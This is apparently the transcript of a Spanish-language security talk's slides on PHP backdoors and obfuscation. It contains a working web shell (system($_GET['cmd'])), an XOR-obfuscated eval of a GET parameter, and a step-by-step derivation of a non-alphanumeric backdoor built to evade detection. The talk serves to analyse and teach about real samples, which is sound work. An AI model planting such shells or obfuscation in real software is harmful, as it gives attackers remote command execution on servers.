backdoors php y ofuscación
TRANSCRIPT
FROM <?php
system($_GET[‘cmd’]);?> TO
(…) $_[@-_]($_[@!+_] ); (…)
$_[@-_]($_[@!+_] );
Juan Manuel Fernández (@TheXC3LL)1
Juan Manuel Fernández (@TheXC3LL) 2
#~whoami
• Auditor de seguridad / Jugador de CTFs• Miembro de ka0labs / #Insanity
• Twitter: @TheXC3LL• Correo: [email protected]• Linkedin: /in/thexc3ll
Juan Manuel Fernández (@TheXC3LL) 3
#~ka0labs
[ irc @ ka0labs.net ] { Server: irc.ka0labs.net Puerto (SSL): 9999 / 9998 Canal: #ka0labs }
Juan Manuel Fernández (@TheXC3LL) 11
#~Ejecución directa
Comandos del S.O.• System()• Passthru()• Exec()• Proc_open()• Shell_exec()• Backticks (` `)
Código PHP• Eval()• Assert()
Juan Manuel Fernández (@TheXC3LL) 12
#~Preg_replace()
• Modificador /e• Permite evaluar código• Se encuentra obsoleta
Juan Manuel Fernández (@TheXC3LL) 13
#~Funciones con callbacks
• Se trata de funciones que permiten pasarle otras funciones como argumento.• Listado de decenas de funciones con esta característica
Juan Manuel Fernández (@TheXC3LL) 15
#~Funciones para cadenas
• Dificultan la lectura del código fuente del backdoor• Son métodos reversibles utilizando la función inversa• Funciones típicas utilizadas:• Base64_encode()• Str_rot13()• Strrev()• …
Juan Manuel Fernández (@TheXC3LL) 18
#~Funciones de compresión
• Misma intención que las funciones de cadena: crear strings ilegibles• Algunos ejemplos:• Gdeflate()• Gzcompress()• Gzencode()• …
Juan Manuel Fernández (@TheXC3LL) 22
#~Muestra real (1)
• Si comparamos el string original, con el segundo obtenido, vemos que en realidad son diferentes:
Juan Manuel Fernández (@TheXC3LL) 25
#~Funciones variables
• Si un nombre de variable tiene paréntesis anexos a él, PHP buscará una función con el mismo nombre que lo evaluado por la variable, e intentará ejecutarla
• $a = base6;• $b = 4_decode;• $c = $a.$b;• $c(“aslkdfjañsldfkjasdñlfkjasñdlfka”);
Juan Manuel Fernández (@TheXC3LL) 26
#~Funciones variables
• Si un nombre de variable tiene paréntesis anexos a él, PHP buscará una función con el mismo nombre que lo evaluado por la variable, e intentará ejecutarla
• Esto NO FUNCIONA con EVAL(), ya que se trata de un constructor del lenguaje• Usemos assert() para evaluar código PHP ;)
Juan Manuel Fernández (@TheXC3LL) 27
#~Operaciones aritméticas y lógicas• Operaciones aritméticas: +-/*%...• Operaciones lógicas: ^&|…
• eval(base64_decode("GBhDGAQPWw==") ^ $_GET['xor']);
Juan Manuel Fernández (@TheXC3LL) 32
#~Crear nuevas palabras a partir de otras• • Se tiene una cadena inicial de caracteres que sirve de base
• A partir de ésta se generan todas las necesarias
Juan Manuel Fernández (@TheXC3LL) 34
#~Muestra real (3)
• stop_ => • $qV[0] = s• $qV[1] = t• $qV[2] = o• $qV[3] = p• $qV[4] = _
• Strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]) => POST_
Juan Manuel Fernández (@TheXC3LL) 36
#~Backdoors no-alfanuméricos
• Se trabaja con caracteres no-alfanuméricos y operaciones matemáticas / lógicas• El objetivo es crear caracteres alfanuméricos a través de las diferentes
operaciones
• Mejor verlo…
Juan Manuel Fernández (@TheXC3LL) 38
#~Muestra real (4)
•@$_[]=@!+_;• Creamos un array llamado “$_”• El “_” es interpretado como una constante. Al no existir la declaración de dicha
constante, se convierte en un string.• Al ejecutar una suma (+) sobre el string, éste se convierte en un integer cuyo
valor es 0.• El operador lógico “!”, convierte ese 0 en un TRUE
Juan Manuel Fernández (@TheXC3LL) 39
#~Muestra real (4)
•$__=@${_}>>$_
• Prácticamente igual que antes: hacemos una operación entre una constante inexistente y $_, que ahora valía 0• El resultado es que $__ tiene como valor 0
Juan Manuel Fernández (@TheXC3LL) 40
#~Muestra real (4)
•$_[]=$__• Se añade un nuevo elemento al array $_ , cuyo valor es $__ (que recordamos es
0)
• Por lo tanto ahora $_[] => [TRUE, 0]
Juan Manuel Fernández (@TheXC3LL) 41
#~Muestra real (4)
•$_[]=@_• Se añade un nuevo elemento al array $_[], en este caso el carácter “_”
• Por lo tanto $_ => [TRUE, 0, “_”]
Juan Manuel Fernández (@TheXC3LL) 42
#~Muestra real (4)
•$_[((++$__)+($__++ ))].=$_;• Se modifica el tercer elemento del array ($_[2]), para concatearle la palabra
“Array”. El array, al ser concatenado, se castea como dicho string.
• Por lo tanto $_ => [TRUE, 0, ”_Array”,]• Además ahora la variable $__ tiene como valor “2”
Juan Manuel Fernández (@TheXC3LL) 43
#~Muestra real (4)
•$_[]=++$__;• Se añade un nuevo elemento al array, un “3”
• $_ => [TRUE, 0, ”_Array”, 3]
Juan Manuel Fernández (@TheXC3LL) 44
#~Muestra real (4)
•$_[]=$_[--$__][$__>>$__];
• Se añade un nuevo elemento. El nuevo elemento se corresponde con el primer carácter el string contenido en el tercer elemento del array. Es decir:• $_[--$__] = _Array• $__ >> $__ = 0• Por lo tanto, el nuevo elemento añadido es “_”• $__ = 2
$_ => [ TRUE, 0, “_Array”, 3, “_]
Juan Manuel Fernández (@TheXC3LL) 45
#~Muestra real (4)
• $_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
• Se le concatena al tercer elemento lo siguiente:• 2 + 2 + TRUE = 5• 2 + 2 + 2 + TRUE = 7
Por lo tanto:$_ => [TRUE, 0, “_Array57”, 3, “_”]
Juan Manuel Fernández (@TheXC3LL) 46
#~Muestra real (4)
• $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
• El cuarto elemento ($_[4]) del array será la concatenación del primer carácter del elemento tercero del array (“_”)
• Y el resultado de hacer XOR entre “r” y “5”, el cual es “G”. Por lo tanto:
• $_ => [TRUE, 0, “_Array57”, 3, “_G”]
Juan Manuel Fernández (@TheXC3LL) 47
#~Muestra real (4)
• ¡ Ya tenemos un “_” y una “G” !
• Siguiendo el proceso podremos obtener el resto de caracteres necesarios para poder ejecutar comandos desde una petición GET
Juan Manuel Fernández (@TheXC3LL) 48
¿Dudas,insultos…?Twitter: @TheXC3LL
Correo: [email protected]: /in/thexc3ll